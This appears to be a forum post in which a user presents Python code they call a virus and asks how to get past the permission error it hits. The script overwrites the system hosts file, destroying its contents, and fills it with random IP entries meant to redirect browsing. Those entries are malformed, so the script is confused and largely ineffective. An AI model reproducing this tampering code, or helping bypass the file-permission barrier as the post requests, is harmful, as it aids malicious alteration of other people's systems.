Well, I got the idea of writing a virus that redirects you to a random ip whenever you try to visit any site, you'll be redirected to any random website. I have written the code so far but whenever I run this, it says, "You do not have permission to edit this file.". I want to ask, how to make this bypass this and write to this file?
import time
import random
def fake_ip():
part1 = int(random.random() * 1000)
part2 = int(random.random() * 1000)
part3 = int(random.random() * 1000)
part4 = int(random.random() * 1000)
while part1 > 255:
part1 = int(random.random() * 1000)
while part2 > 255:
part2 = int(random.random() * 1000)
while part3 > 255:
part3 = int(random.random() * 1000)
while part4 > 254:
part4 = int(random.random() * 1000)
ip = str(part1) + "." + str(part2) + "." + str(part3) + "." + str(part4)
return ip
def real_ip():
i = 1
start = time.time()
file = open("/etc/hosts", 'w')
print("Virus by parad0x\nInfecting...")
while i < 2:
if i == 2:
break
global ip
ip = fake_ip()
part2 = 0
part3 = 0
part4 = 0
real = str(i) + "." + str(part2) + '.' + str(part3) + '.' + str(part4)
while part4 < 2:
part4 += 1
real = str(i) + "." + str(part2) + '.' + str(part3) + '.' + str(part4)
ip = fake_ip()
file.write( ip + " " + real + "\n")
while part3 < 2:
part3 += 1
part4 = 0
while part4 < 2:
part4 +=1
real = str(i) + "." + str(part2) + '.' + str(part3) + '.' + str(part4)
ip = fake_ip()
file.write(ip + " " + real + "\n")
while part2 < 2:
part2 += 1
part3 = 0
part4 = 0
while part3 < 2:
part3 += 1
part4 = 0
while part4 < 2:
part4 +=1
real = str(i) + "." + str(part2) + '.' + str(part3) + '.' + str(part4)
ip = fake_ip()
file.write(ip + " " + real + "\n")
i += 1
file.close()
end = time.time()
print("Infected!")
print("Total time taken : " + str(end - start) + " seconds.")
def main():
real_ip()
main()